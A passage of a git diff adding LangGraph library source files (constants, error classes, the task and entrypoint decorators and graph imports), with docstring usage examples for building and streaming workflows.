+        from langgraph.config import get_stream_writer
+
+
+        class State(TypedDict):
+            foo: int
+
+
+        def my_node(state: State):
+            my_stream_writer = get_stream_writer()
+            my_stream_writer({"custom_data": "Hello!"})
+            return {"foo": state["foo"] + 1}
+
+
+        graph = (
+            StateGraph(State)
+            .add_node(my_node)
+            .add_edge(START, "my_node")
+            .compile(store=store)
+        )
+
+        for chunk in graph.stream({"foo": 1}, stream_mode="custom"):
+            print(chunk)
+        ```
+
+        ```pycon
+        {"custom_data": "Hello!"}
+        ```
+
+    Example: Using with functional API
+        ```python
+        from langgraph.func import entrypoint, task
+        from langgraph.config import get_stream_writer
+
+
+        @task
+        def my_task(value: int):
+            my_stream_writer = get_stream_writer()
+            my_stream_writer({"custom_data": "Hello!"})
+            return value + 1
+
+
+        @entrypoint(store=store)
+        def workflow(value: int):
+            return my_task(value).result()
+
+
+        for chunk in workflow.stream(1, stream_mode="custom"):
+            print(chunk)
+        ```
+
+        ```pycon
+        {"custom_data": "Hello!"}
+        ```
+    """
+    runtime = get_config()[CONF][CONFIG_KEY_RUNTIME]
+    return runtime.stream_writer
diff --git a/libs/langgraph/langgraph/constants.py b/libs/langgraph/langgraph/constants.py
new file mode 100644
index 0000000..5b7e52a
--- /dev/null
+++ b/libs/langgraph/langgraph/constants.py
@@ -0,0 +1,64 @@
+import sys
+from typing import Any
+from warnings import warn
+
+from langgraph._internal._constants import (
+    CONF,
+    CONFIG_KEY_CHECKPOINTER,
+    TASKS,
+)
+from langgraph.warnings import LangGraphDeprecatedSinceV10
+
+__all__ = (
+    "TAG_NOSTREAM",
+    "TAG_HIDDEN",
+    "START",
+    "END",
+    # retained for backwards compatibility (mostly langgraph-api), should be removed in v2 (or earlier)
+    "CONF",
+    "TASKS",
+    "CONFIG_KEY_CHECKPOINTER",
+)
+
+# --- Public constants ---
+TAG_NOSTREAM = sys.intern("nostream")
+"""Tag to disable streaming for a chat model."""
+TAG_HIDDEN = sys.intern("langsmith:hidden")
+"""Tag to hide a node/edge from certain tracing/streaming environments."""
+END = sys.intern("__end__")
+"""The last (maybe virtual) node in graph-style Pregel."""
+START = sys.intern("__start__")
+"""The first (maybe virtual) node in graph-style Pregel."""
+
+
+def __getattr__(name: str) -> Any:
+    if name in ["Send", "Interrupt"]:
+        warn(
+            f"Importing {name} from langgraph.constants is deprecated. "
+            f"Please use 'from langgraph.types import {name}' instead.",
+            LangGraphDeprecatedSinceV10,
+            stacklevel=2,
+        )
+
+        from importlib import import_module
+
+        module = import_module("langgraph.types")
+        return getattr(module, name)
+
+    try:
+        from importlib import import_module
+
+        private_constants = import_module("langgraph._internal._constants")
+        attr = getattr(private_constants, name)
+        warn(
+            f"Importing {name} from langgraph.constants is deprecated. "
+            f"This constant is now private and should not be used directly. "
+            "Please let the LangGraph team know if you need this value.",
+            LangGraphDeprecatedSinceV10,
+            stacklevel=2,
+        )
+        return attr
+    except AttributeError:
+        pass
+
+    raise AttributeError(f"module has no attribute '{name}'")
diff --git a/libs/langgraph/langgraph/errors.py b/libs/langgraph/langgraph/errors.py
new file mode 100644
index 0000000..47d30de
--- /dev/null
+++ b/libs/langgraph/langgraph/errors.py
@@ -0,0 +1,241 @@
+from __future__ import annotations
+
+from collections.abc import Sequence
+from dataclasses import dataclass
+from enum import Enum
+from typing import Any, Literal
+from warnings import warn
+
+# EmptyChannelError is re-exported from langgraph.channels.base
+from langgraph.checkpoint.base import EmptyChannelError  # noqa: F401
+from typing_extensions import deprecated
+
+from langgraph.types import Command, Interrupt
+from langgraph.warnings import LangGraphDeprecatedSinceV10
+
+__all__ = (
+    "EmptyChannelError",
+    "ErrorCode",
+    "GraphDrained",
+    "GraphRecursionError",
+    "InvalidUpdateError",
+    "GraphBubbleUp",
+    "GraphInterrupt",
+    "NodeCancelledError",
+    "NodeError",
+    "NodeInterrupt",
+    "NodeTimeoutError",
+    "ParentCommand",
+    "EmptyInputError",
+    "TaskNotFound",
+)
+
+
+class ErrorCode(Enum):
+    GRAPH_RECURSION_LIMIT = "GRAPH_RECURSION_LIMIT"
+    INVALID_CONCURRENT_GRAPH_UPDATE = "INVALID_CONCURRENT_GRAPH_UPDATE"
+    INVALID_GRAPH_NODE_RETURN_VALUE = "INVALID_GRAPH_NODE_RETURN_VALUE"
+    MULTIPLE_SUBGRAPHS = "MULTIPLE_SUBGRAPHS"
+    INVALID_CHAT_HISTORY = "INVALID_CHAT_HISTORY"
+
+
+def create_error_message(*, message: str, error_code: ErrorCode) -> str:
+    return (
+        f"{message}\n"
+        "For troubleshooting, visit: https://docs.langchain.com/oss/python/langgraph/"
+        f"errors/{error_code.value}"
+    )
+
+
+class GraphBubbleUp(Exception):
+    pass
+
+
+class GraphDrained(GraphBubbleUp):
+    """Raised when a graph run exits early due to a drain request.
+
+    This indicates the graph stopped cooperatively at a superstep boundary
+    because `RunControl.request_drain()` was called (e.g., in response to
+    SIGTERM). The checkpoint is saved and the run can be resumed later.
+    """
+
+    def __init__(self, reason: str = "shutdown") -> None:
+        self.reason = reason
+        super().__init__(f"Graph drained: {reason}")
+
+
+class GraphRecursionError(RecursionError):
+    """Raised when the graph has exhausted the maximum number of steps.
+
+    This prevents infinite loops. To increase the maximum number of steps,
+    run your graph with a config specifying a higher `recursion_limit`.
+
+    Troubleshooting guides:
+
+    - [`GRAPH_RECURSION_LIMIT`](https://docs.langchain.com/oss/python/langgraph/GRAPH_RECURSION_LIMIT)
+
+    Examples:
+
+        graph = builder.compile()
+        graph.invoke(
+            {"messages": [("user", "Hello, world!")]},
+            # The config is the second positional argument
+            {"recursion_limit": 1000},
+        )
+    """
+
+    pass
+
+
+class InvalidUpdateError(Exception):
+    """Raised when attempting to update a channel with an invalid set of updates.
+
+    Troubleshooting guides:
+
+    - [`INVALID_CONCURRENT_GRAPH_UPDATE`](https://docs.langchain.com/oss/python/langgraph/INVALID_CONCURRENT_GRAPH_UPDATE)
+    - [`INVALID_GRAPH_NODE_RETURN_VALUE`](https://docs.langchain.com/oss/python/langgraph/INVALID_GRAPH_NODE_RETURN_VALUE)
+    """
+
+    pass
+
+
+class GraphInterrupt(GraphBubbleUp):
+    """Raised when a subgraph is interrupted, suppressed by the root graph.
+    Never raised directly, or surfaced to the user."""
+
+    def __init__(self, interrupts: Sequence[Interrupt] = ()) -> None:
+        super().__init__(interrupts)
+
+
+@deprecated(
+    "NodeInterrupt is deprecated. Please use [`interrupt`][langgraph.types.interrupt] instead.",
+    category=None,
+)
+class NodeInterrupt(GraphInterrupt):
+    """Raised by a node to interrupt execution."""
+
+    def __init__(self, value: Any, id: str | None = None) -> None:
+        warn(
+            "NodeInterrupt is deprecated. Please use `langgraph.types.interrupt` instead.",
+            LangGraphDeprecatedSinceV10,
+            stacklevel=2,
+        )
+        if id is None:
+            super().__init__([Interrupt(value=value)])
+        else:
+            super().__init__([Interrupt(value=value, id=id)])
+
+
+class ParentCommand(GraphBubbleUp):
+    args: tuple[Command]
+
+    def __init__(self, command: Command) -> None:
+        super().__init__(command)
+
+
+class EmptyInputError(Exception):
+    """Raised when graph receives an empty input."""
+
+    pass
+
+
+class TaskNotFound(Exception):
+    """Raised when the executor is unable to find a task (for distributed mode)."""
+
+    pass
+
+
+@dataclass(frozen=True, slots=True)
+class NodeError:
+    """Failure context passed to a node-level error handler.
+
+    Inject by adding a parameter typed `NodeError` to a handler registered via
+    `StateGraph.add_node(..., error_handler=...)`:
+
+    ```python
+    def handler(state: State, error: NodeError) -> Command:
+        return Command(update={"status": f"recovered from {error.node}: {error.error}"})
+    ```
+    """
+
+    node: str
+    """Name of the node whose execution failed."""
+
+    error: BaseException
+    """Exception raised by the failed node."""
+
+
+class NodeCancelledError(Exception):
+    """Raised when a node body raises ``asyncio.CancelledError`` itself.
+
+    ``asyncio.CancelledError`` is a ``BaseException`` and the pregel runner
+    treats cancelled task futures as silent tear-down (e.g. when it stops
+    sibling tasks after a peer fails). That is the correct behaviour for
+    *framework-initiated* cancellation, but a user node that raises
+    ``asyncio.CancelledError`` from its own body should surface as a node
+    failure, the same way any other exception would.
+
+    The retry layer converts user-raised ``asyncio.CancelledError`` into this
+    type so it flows through the normal error path and the run reports as
+    ``error`` instead of silently succeeding.
+    """
+
+    node: str
+
+    def __init__(self, node: str, message: str | None = None) -> None:
+        super().__init__(message or f"Node {node!r} raised asyncio.CancelledError")
+        self.node = node
+
+
+class NodeTimeoutError(Exception):
+    """Raised when a node invocation exceeds one of its configured timeouts.
+
+    Does **not** inherit from the built-in `TimeoutError` (a subclass of
+    `OSError`) so that the default `RetryPolicy` treats it as retryable.
+
+    Both `idle_timeout` and `run_timeout` reflect the configured policy at the
+    time of the failure (each is `None` if not configured). `kind` and
+    `timeout` identify which one fired.
+    """
+
+    node: str
+    timeout: float
+    run_timeout: float | None
+    idle_timeout: float | None
+    elapsed: float
+    kind: Literal["idle", "run"]
+
+    def __init__(
+        self,
+        node: str,
+        elapsed: float,
+        *,
+        kind: Literal["idle", "run"],
+        idle_timeout: float | None = None,
+        run_timeout: float | None = None,
+    ) -> None:
+        if kind == "idle":
+            if idle_timeout is None:
+                raise ValueError("idle_timeout is required when kind='idle'")
+            message = (
+                f"Node '{node}' exceeded its idle timeout of "
+                f"{idle_timeout:.3f}s without making progress "
+                f"(elapsed: {elapsed:.3f}s)."
+            )
+            self.timeout = idle_timeout
+        elif kind == "run":
+            if run_timeout is None:
+                raise ValueError("run_timeout is required when kind='run'")
+            message = (
+                f"Node '{node}' exceeded its run timeout of "
+                f"{run_timeout:.3f}s (elapsed: {elapsed:.3f}s)."
+            )
+            self.timeout = run_timeout
+        else:
+            raise ValueError("kind must be 'idle' or 'run'")
+        super().__init__(message)
+        self.node = node
+        self.elapsed = elapsed
+        self.kind = kind
+        self.idle_timeout = idle_timeout
+        self.run_timeout = run_timeout
diff --git a/libs/langgraph/langgraph/func/__init__.py b/libs/langgraph/langgraph/func/__init__.py
new file mode 100644
index 0000000..be310f0
--- /dev/null
+++ b/libs/langgraph/langgraph/func/__init__.py
@@ -0,0 +1,620 @@
+from __future__ import annotations
+
+import functools
+import inspect
+import warnings
+from collections.abc import Awaitable, Callable, Sequence
+from dataclasses import dataclass
+from datetime import timedelta
+from typing import (
+    Any,
+    Generic,
+    TypeVar,
+    cast,
+    get_args,
+    get_origin,
+    overload,
+)
+
+from langgraph.cache.base import BaseCache
+from langgraph.checkpoint.base import BaseCheckpointSaver
+from langgraph.store.base import BaseStore
+from typing_extensions import Unpack
+
+from langgraph._internal import _serde
+from langgraph._internal._constants import CACHE_NS_WRITES, PREVIOUS
+from langgraph._internal._runnable import is_async_callable
+from langgraph._internal._timeout import (
+    coerce_timeout_policy,
+    sync_timeout_unsupported,
+)
+from langgraph._internal._typing import MISSING, DeprecatedKwargs
+from langgraph.channels.ephemeral_value import EphemeralValue
+from langgraph.channels.last_value import LastValue
+from langgraph.constants import END, START
+from langgraph.pregel import Pregel
+from langgraph.pregel._call import (
+    P,
+    SyncAsyncFuture,
+    T,
+    _call_with_options,
+    get_runnable_for_entrypoint,
+    identifier,
+)
+from langgraph.pregel._read import PregelNode
+from langgraph.pregel._write import ChannelWrite, ChannelWriteEntry
+from langgraph.types import (
+    _DC_KWARGS,
+    CachePolicy,
+    RetryPolicy,
+    StreamMode,
+    TimeoutPolicy,
+)
+from langgraph.typing import ContextT
+from langgraph.warnings import LangGraphDeprecatedSinceV05, LangGraphDeprecatedSinceV10
+
+__all__ = ("task", "entrypoint")
+
+
+class _TaskFunction(Generic[P, T]):
+    def __init__(
+        self,
+        func: Callable[P, Awaitable[T]] | Callable[P, T],
+        *,
+        retry_policy: Sequence[RetryPolicy],
+        cache_policy: CachePolicy[Callable[P, str | bytes]] | None = None,
+        timeout: TimeoutPolicy | None = None,
+        name: str | None = None,
+    ) -> None:
+        if name is not None:
+            if hasattr(func, "__func__"):
+                # handle class methods
+                # NOTE: we're modifying the instance method to avoid modifying
+                # the original class method in case it's shared across multiple tasks
+                instance_method = functools.partial(func.__func__, func.__self__)  # type: ignore [union-attr]
+                instance_method.__name__ = name  # type: ignore [attr-defined]
+                func = instance_method
+            else:
+                # handle regular functions / partials / callable classes, etc.
+                func.__name__ = name
+        self.func = func
+        self.retry_policy = retry_policy
+        self.cache_policy = cache_policy
+        self.timeout = timeout
+        functools.update_wrapper(self, func)
+
+    def __call__(self, *args: P.args, **kwargs: P.kwargs) -> SyncAsyncFuture[T]:
+        return _call_with_options(
+            self.func,
+            args,
+            kwargs,
+            retry_policy=self.retry_policy,
+            cache_policy=self.cache_policy,
+            timeout=self.timeout,
+        )
+
+    def clear_cache(self, cache: BaseCache) -> None:
+        """Clear the cache for this task."""
+        if self.cache_policy is not None:
+            cache.clear(((CACHE_NS_WRITES, identifier(self.func) or "__dynamic__"),))
+
+    async def aclear_cache(self, cache: BaseCache) -> None:
+        """Clear the cache for this task."""
+        if self.cache_policy is not None:
+            await cache.aclear(
+                ((CACHE_NS_WRITES, identifier(self.func) or "__dynamic__"),)
+            )
+
+
+@overload
+def task(
+    __func_or_none__: None = None,
+    *,
+    name: str | None = None,
+    retry_policy: RetryPolicy | Sequence[RetryPolicy] | None = None,
+    cache_policy: CachePolicy[Callable[P, str | bytes]] | None = None,
+    timeout: float | timedelta | TimeoutPolicy | None = None,
+    **kwargs: Unpack[DeprecatedKwargs],
+) -> Callable[
+    [Callable[P, Awaitable[T]] | Callable[P, T]],
+    _TaskFunction[P, T],
+]: ...
+
+
+@overload
+def task(__func_or_none__: Callable[P, Awaitable[T]]) -> _TaskFunction[P, T]: ...
+
+
+@overload
+def task(__func_or_none__: Callable[P, T]) -> _TaskFunction[P, T]: ...
+
+
+def task(
+    __func_or_none__: Callable[P, Awaitable[T]] | Callable[P, T] | None = None,
+    *,
+    name: str | None = None,
+    retry_policy: RetryPolicy | Sequence[RetryPolicy] | None = None,
+    cache_policy: CachePolicy[Callable[P, str | bytes]] | None = None,
+    timeout: float | timedelta | TimeoutPolicy | None = None,
+    **kwargs: Unpack[DeprecatedKwargs],
+) -> (
+    Callable[[Callable[P, Awaitable[T]] | Callable[P, T]], _TaskFunction[P, T]]
+    | _TaskFunction[P, T]
+):
+    """Define a LangGraph task using the `task` decorator.
+
+    !!! important "Requires python 3.11 or higher for async functions"
+        The `task` decorator supports both sync and async functions. To use async
+        functions, ensure that you are using Python 3.11 or higher.
+
+    Tasks can only be called from within an [`entrypoint`][langgraph.func.entrypoint] or
+    from within a `StateGraph`. A task can be called like a regular function with the
+    following differences:
+
+    - When a checkpointer is enabled, the function inputs and outputs must be serializable.
+    - The decorated function can only be called from within an entrypoint or `StateGraph`.
+    - Calling the function produces a future. This makes it easy to parallelize tasks.
+
+    Args:
+        name: An optional name for the task. If not provided, the function name will be used.
+        retry_policy: An optional retry policy (or list of policies) to use for the task in case of a failure.
+        cache_policy: An optional cache policy to use for the task. This allows caching of the task results.
+        timeout: Timeout for each task attempt. A number or `timedelta` is a hard
+            wall-clock cap and is not refreshed. Use `TimeoutPolicy` to configure
+            both a wall-clock `run_timeout` and an `idle_timeout` refreshed by
+            progress signals. For long-running work that doesn't naturally emit
+            progress, call `runtime.heartbeat()` from inside the task. When the
+            timeout fires, `NodeTimeoutError` is raised and the retry policy (if
+            any) decides whether to retry. Supported only for async tasks; sync
+            tasks cannot be safely cancelled in-process.
+
+    Returns:
+        A callable function when used as a decorator.
+
+    Example: Sync Task
+        ```python
+        from langgraph.func import entrypoint, task
+
+
+        @task
+        def add_one_task(a: int) -> int:
+            return a + 1
+
+
+        @entrypoint()
+        def add_one(numbers: list[int]) -> list[int]:
+            futures = [add_one_task(n) for n in numbers]
+            results = [f.result() for f in futures]
+            return results
+
+
+        # Call the entrypoint
+        add_one.invoke([1, 2, 3])  # Returns [2, 3, 4]
+        ```
+
+    Example: Async Task
+        ```python
+        import asyncio
+        from langgraph.func import entrypoint, task
+
+
+        @task
+        async def add_one_task(a: int) -> int:
+            return a + 1
+
+
+        @entrypoint()
+        async def add_one(numbers: list[int]) -> list[int]:
+            futures = [add_one_task(n) for n in numbers]
+            return asyncio.gather(*futures)
+
+
+        # Call the entrypoint
+        await add_one.ainvoke([1, 2, 3])  # Returns [2, 3, 4]
+        ```
+    """
+    if (retry := kwargs.get("retry", MISSING)) is not MISSING:
+        warnings.warn(
+            "`retry` is deprecated and will be removed. Please use `retry_policy` instead.",
+            category=LangGraphDeprecatedSinceV05,
+            stacklevel=2,
+        )
+        if retry_policy is None:
+            retry_policy = retry  # type: ignore[assignment]
+    timeout_policy = coerce_timeout_policy(timeout)
+
+    retry_policies: Sequence[RetryPolicy] = (
+        ()
+        if retry_policy is None
+        else (retry_policy,)
+        if isinstance(retry_policy, RetryPolicy)
+        else retry_policy
+    )
+
+    def decorator(
+        func: Callable[P, Awaitable[T]] | Callable[P, T],
+    ) -> Callable[P, SyncAsyncFuture[T]]:
+        if timeout_policy is not None and not is_async_callable(func):
+            name_ = name or getattr(func, "__name__", func.__class__.__name__)
+            raise sync_timeout_unsupported(str(name_), kind="Task")
+        return _TaskFunction(
+            func,
+            retry_policy=retry_policies,
+            cache_policy=cache_policy,
+            timeout=timeout_policy,
+            name=name,
+        )
+
+    if __func_or_none__ is not None:
+        return decorator(__func_or_none__)
+
+    return decorator
+
+
+R = TypeVar("R")
+S = TypeVar("S")
+
+
+# The decorator was wrapped in a class to support the `final` attribute.
+# In this form, the `final` attribute should play nicely with IDE autocompletion,
+# and type checking tools.
+# In addition, we'll be able to surface this information in the API Reference.
+class entrypoint(Generic[ContextT]):
+    """Define a LangGraph workflow using the `entrypoint` decorator.
+
+    ### Function signature
+
+    The decorated function must accept a **single parameter**, which serves as the input
+    to the function. This input parameter can be of any type. Use a dictionary
+    to pass **multiple parameters** to the function.
+
+    ### Injectable parameters
+
+    The decorated function can request access to additional parameters
+    that will be injected automatically at run time. These parameters include:
+
+    | Parameter        | Description                                                                                          |
+    |------------------|------------------------------------------------------------------------------------------------------|
+    | **`config`**     | A configuration object (aka `RunnableConfig`) that holds run-time configuration values.              |
+    | **`previous`**   | The previous return value for the given thread (available only when a checkpointer is provided).     |
+    | **`runtime`**    | A `Runtime` object that contains information about the current run, including context, store, writer |
+
+    The entrypoint decorator can be applied to sync functions or async functions.
+
+    ### State management
+
+    The **`previous`** parameter can be used to access the return value of the previous
+    invocation of the entrypoint on the same thread id. This value is only available
+    when a checkpointer is provided.
+
+    If you want **`previous`** to be different from the return value, you can use the
+    `entrypoint.final` object to return a value while saving a different value to the
+    checkpoint.
+
+    Args:
+        checkpointer: Specify a checkpointer to create a workflow that can persist
+            its state across runs.
+        store: A generalized key-value store. Some implementations may support
+            semantic search capabilities through an optional `index` configuration.
+        cache: A cache to use for caching the results of the workflow.
+        context_schema: Specifies the schema for the context object that will be
+            passed to the workflow.
+        cache_policy: A cache policy to use for caching the results of the workflow.
+        retry_policy: A retry policy (or list of policies) to use for the workflow in case of a failure.
+        timeout: Timeout for each workflow attempt. A number or `timedelta` is a
+            hard wall-clock cap and is not refreshed. Use `TimeoutPolicy` to
+            configure both a wall-clock `run_timeout` and an `idle_timeout`
+            refreshed by progress signals. For long-running work that doesn't
+            naturally emit progress, call `runtime.heartbeat()` from inside the
+            workflow. When the timeout fires, `NodeTimeoutError` is raised and
+            the retry policy (if any) decides whether to retry. Supported only
+            for async workflows; sync workflows cannot be safely cancelled
+            in-process.
+
+    !!! warning "`config_schema` Deprecated"
+        The `config_schema` parameter is deprecated in v0.6.0 and support will be removed in v2.0.0.
+        Please use `context_schema` instead to specify the schema for run-scoped context.
+
+
+    Example: Using entrypoint and tasks
+        ```python
+        import time
+
+        from langgraph.func import entrypoint, task
+        from langgraph.types import interrupt, Command
+        from langgraph.checkpoint.memory import InMemorySaver
+
+        @task
+        def compose_essay(topic: str) -> str:
+            time.sleep(1.0)  # Simulate slow operation
+            return f"An essay about {topic}"
+
+        @entrypoint(checkpointer=InMemorySaver())
+        def review_workflow(topic: str) -> dict:
+            \"\"\"Manages the workflow for generating and reviewing an essay.
+
+            The workflow includes:
+            1. Generating an essay about the given topic.
+            2. Interrupting the workflow for human review of the generated essay.
+
+            Upon resuming the workflow, compose_essay task will not be re-executed
+            as its result is cached by the checkpointer.
+
+            Args:
+                topic: The subject of the essay.
+
+            Returns:
+                dict: A dictionary containing the generated essay and the human review.
+            \"\"\"
+            essay_future = compose_essay(topic)
+            essay = essay_future.result()
+            human_review = interrupt({
+                \"question\": \"Please provide a review\",
+                \"essay\": essay
+            })
+            return {
+                \"essay\": essay,
+                \"review\": human_review,
+            }
+
+        # Example configuration for the workflow
+        config = {
+            \"configurable\": {
+                \"thread_id\": \"some_thread\"
+            }
+        }
+
+        # Topic for the essay
+        topic = \"cats\"
+
+        # Stream the workflow to generate the essay and await human review
+        for result in review_workflow.stream(topic, config):
+            print(result)
+
+        # Example human review provided after the interrupt
+        human_review = \"This essay is great.\"
+
+        # Resume the workflow with the provided human review
+        for result in review_workflow.stream(Command(resume=human_review), config):
+            print(result)
+        ```
+
+    Example: Accessing the previous return value
+        When a checkpointer is enabled the function can access the previous return value
+        of the previous invocation on the same thread id.
+
+        ```python
+        from typing import Optional
+
+        from langgraph.checkpoint.memory import MemorySaver
+
+        from langgraph.func import entrypoint
+
+
+        @entrypoint(checkpointer=InMemorySaver())
+        def my_workflow(input_data: str, previous: Optional[str] = None) -> str:
+            return "world"
+
+
+        config = {"configurable": {"thread_id": "some_thread"}}
+        my_workflow.invoke("hello", config)
+        ```
+
+    Example: Using `entrypoint.final` to save a value
+        The `entrypoint.final` object allows you to return a value while saving
+        a different value to the checkpoint. This value will be accessible
+        in the next invocation of the entrypoint via the `previous` parameter, as
+        long as the same thread id is used.
+
+        ```python
+        from typing import Any
+
+        from langgraph.checkpoint.memory import MemorySaver
+
+        from langgraph.func import entrypoint
+
+
+        @entrypoint(checkpointer=InMemorySaver())
+        def my_workflow(
+            number: int,
+            *,
+            previous: Any = None,
+        ) -> entrypoint.final[int, int]:
+            previous = previous or 0
+            # This will return the previous value to the caller, saving
+            # 2 * number to the checkpoint, which will be used in the next invocation
+            # for the `previous` parameter.
+            return entrypoint.final(value=previous, save=2 * number)
+
+
+        config = {"configurable": {"thread_id": "some_thread"}}
+
+        my_workflow.invoke(3, config)  # 0 (previous was None)
+        my_workflow.invoke(1, config)  # 6 (previous was 3 * 2 from the previous invocation)
+        ```
+    """
+
+    def __init__(
+        self,
+        checkpointer: BaseCheckpointSaver | None = None,
+        store: BaseStore | None = None,
+        cache: BaseCache | None = None,
+        context_schema: type[ContextT] | None = None,
+        cache_policy: CachePolicy | None = None,
+        retry_policy: RetryPolicy | Sequence[RetryPolicy] | None = None,
+        timeout: float | timedelta | TimeoutPolicy | None = None,
+        **kwargs: Unpack[DeprecatedKwargs],
+    ) -> None:
+        """Initialize the entrypoint decorator."""
+        if (config_schema := kwargs.get("config_schema", MISSING)) is not MISSING:
+            warnings.warn(
+                "`config_schema` is deprecated and will be removed. Please use `context_schema` instead.",
+                category=LangGraphDeprecatedSinceV10,
+                stacklevel=2,
+            )
+            if context_schema is None:
+                context_schema = cast(type[ContextT], config_schema)
+
+        if (retry := kwargs.get("retry", MISSING)) is not MISSING:
+            warnings.warn(
+                "`retry` is deprecated and will be removed. Please use `retry_policy` instead.",
+                category=LangGraphDeprecatedSinceV05,
+                stacklevel=2,
+            )
+            if retry_policy is None:
+                retry_policy = cast("RetryPolicy | Sequence[RetryPolicy]", retry)
+
+        self.checkpointer = checkpointer
+        self.store = store
+        self.cache = cache
+        self.cache_policy = cache_policy
+        self.retry_policy = retry_policy
+        self.timeout = coerce_timeout_policy(timeout)
+        self.context_schema = context_schema
+
+    @dataclass(**_DC_KWARGS)
+    class final(Generic[R, S]):
+        """A primitive that can be returned from an entrypoint.
+
+        This primitive allows to save a value to the checkpointer distinct from the
+        return value from the entrypoint.
+
+        Example: Decoupling the return value and the save value
+            ```python
+            from langgraph.checkpoint.memory import InMemorySaver
+            from langgraph.func import entrypoint
+
+
+            @entrypoint(checkpointer=InMemorySaver())
+            def my_workflow(
+                number: int,
+                *,
+                previous: Any = None,
+            ) -> entrypoint.final[int, int]:
+                previous = previous or 0
+                # This will return the previous value to the caller, saving
+                # 2 * number to the checkpoint, which will be used in the next invocation
+                # for the `previous` parameter.
+                return entrypoint.final(value=previous, save=2 * number)
+
+
+            config = {"configurable": {"thread_id": "1"}}
+
+            my_workflow.invoke(3, config)  # 0 (previous was None)
+            my_workflow.invoke(1, config)  # 6 (previous was 3 * 2 from the previous invocation)
+            ```
+        """
+
+        value: R
+        """Value to return. A value will always be returned even if it is `None`."""
+        save: S
+        """The value for the state for the next checkpoint.
+
+        A value will always be saved even if it is `None`.
+        """
+
+    def __call__(self, func: Callable[..., Any]) -> Pregel:
+        """Convert a function into a Pregel graph.
+
+        Args:
+            func: The function to convert. Support both sync and async functions.
+
+        Returns:
+            A Pregel graph.
+        """
+        # wrap generators in a function that writes to StreamWriter
+        if inspect.isgeneratorfunction(func) or inspect.isasyncgenfunction(func):
+            raise NotImplementedError(
+                "Generators are not supported in the Functional API."
+            )
+
+        bound = get_runnable_for_entrypoint(func)
+        stream_mode: StreamMode = "updates"
+
+        # get input and output types
+        sig = inspect.signature(func)
+        first_parameter_name = next(iter(sig.parameters.keys()), None)
+        if not first_parameter_name:
+            raise ValueError("Entrypoint function must have at least one parameter")
+        input_type = (
+            sig.parameters[first_parameter_name].annotation
+            if sig.parameters[first_parameter_name].annotation
+            is not inspect.Signature.empty
+            else Any
+        )
+
+        def _pluck_return_value(value: Any) -> Any:
+            """Extract the return_ value the entrypoint.final object or passthrough."""
+            return value.value if isinstance(value, entrypoint.final) else value
+
+        def _pluck_save_value(value: Any) -> Any:
+            """Get save value from the entrypoint.final object or passthrough."""
+            return value.save if isinstance(value, entrypoint.final) else value
+
+        output_type, save_type = Any, Any
+        if sig.return_annotation is not inspect.Signature.empty:
+            # User does not parameterize entrypoint.final properly
+            if (
+                sig.return_annotation is entrypoint.final
+            ):  # Un-parameterized entrypoint.final
+                output_type = save_type = Any
+            else:
+                origin = get_origin(sig.return_annotation)
+                if origin is entrypoint.final:
+                    type_annotations = get_args(sig.return_annotation)
+                    if len(type_annotations) != 2:
+                        raise TypeError(
+                            "Please an annotation for both the return_ and "
+                            "the save values."
+                            "For example, `-> entrypoint.final[int, str]` would assign a "
+                            "return_ a type of `int` and save the type `str`."
+                        )
+                    output_type, save_type = get_args(sig.return_annotation)
+                else:
+                    output_type = save_type = sig.return_annotation
+
+        graph: Pregel[Any, ContextT, Any, Any] = Pregel(
+            nodes={
+                func.__name__: PregelNode(
+                    bound=bound,
+                    triggers=[START],
+                    channels=START,
+                    timeout=self.timeout,
+                    writers=[
+                        ChannelWrite(
+                            [
+                                ChannelWriteEntry(END, mapper=_pluck_return_value),
+                                ChannelWriteEntry(PREVIOUS, mapper=_pluck_save_value),
+                            ]
+                        )
+                    ],
+                )
+            },
+            channels={
+                START: EphemeralValue(input_type),
+                END: LastValue(output_type, END),
+                PREVIOUS: LastValue(save_type, PREVIOUS),
+            },
+            input_channels=START,
+            output_channels=END,
+            stream_channels=END,
+            stream_mode=stream_mode,
+            stream_eager=True,
+            checkpointer=self.checkpointer,
+            store=self.store,
+            cache=self.cache,
+            cache_policy=self.cache_policy,
+            retry_policy=self.retry_policy or (),
+            context_schema=self.context_schema,
+        )
+        if _serde.STRICT_MSGPACK_ENABLED:
+            serde_allowlist = _serde.build_serde_allowlist(
+                schemas=[input_type, output_type, save_type]
+                + ([self.context_schema] if self.context_schema is not None else []),
+                channels=graph.channels,
+            )
+            graph._serde_allowlist = serde_allowlist
+            graph.checkpointer = _serde.apply_checkpointer_allowlist(
+                graph.checkpointer, serde_allowlist
+            )
+        return graph
diff --git a/libs/langgraph/langgraph/graph/__init__.py b/libs/langgraph/langgraph/graph/__init__.py
new file mode 100644
index 0000000..7bea3fc
--- /dev/null
+++ b/libs/langgraph/langgraph/graph/__init__.py
@@ -0,0 +1,12 @@
+from langgraph.constants import END, START
+from langgraph.graph.message import MessageGraph, MessagesState, add_messages
+from langgraph.graph.state import StateGraph
+
+__all__ = (
+    "END",
+    "START",
+    "StateGraph",
+    "add_messages",
+    "MessagesState",
+    "MessageGraph",
+)
diff --git a/libs/langgraph/langgraph/graph/_branch.py b/libs/langgraph/langgraph/graph/_branch.py
new file mode 100644
index 0000000..df5136d
--- /dev/null
+++ b/libs/langgraph/langgraph/graph/_branch.py
@@ -0,0 +1,225 @@
+from __future__ import annotations
+
+from collections.abc import Awaitable, Callable, Hashable, Sequence
+from inspect import (
+    isfunction,
+    ismethod,
+    signature,
+)
+from itertools import zip_longest
+from types import FunctionType
+from typing import (
+    Any,
+    Literal,
+    NamedTuple,
+    cast,
+    get_args,
+    get_origin,
+    get_type_hints,
+)
+
+from langchain_core.runnables import (
+    Runnable,
+    RunnableConfig,
+    RunnableLambda,
+)
+
+from langgraph._internal._runnable import (
+    RunnableCallable,
+)
+from langgraph.constants import END, START
+from langgraph.errors import InvalidUpdateError
+from langgraph.pregel._write import PASSTHROUGH, ChannelWrite, ChannelWriteEntry
+from langgraph.types import Send
+
+_Writer = Callable[
+    [Sequence[str | Send], bool],
+    Sequence[ChannelWriteEntry | Send],
+]
+
+
+def _get_branch_path_input_schema(
+    path: Callable[..., Hashable | Sequence[Hashable]]
+    | Callable[..., Awaitable[Hashable | Sequence[Hashable]]]
+    | Runnable[Any, Hashable | Sequence[Hashable]],
+) -> type[Any] | None:
+    input = None
+    # detect input schema annotation in the branch callable
+    try:
+        callable_: (
+            Callable[..., Hashable | Sequence[Hashable]]
+            | Callable[..., Awaitable[Hashable | Sequence[Hashable]]]
+            | None
+        ) = None
+        if isinstance(path, (RunnableCallable, RunnableLambda)):
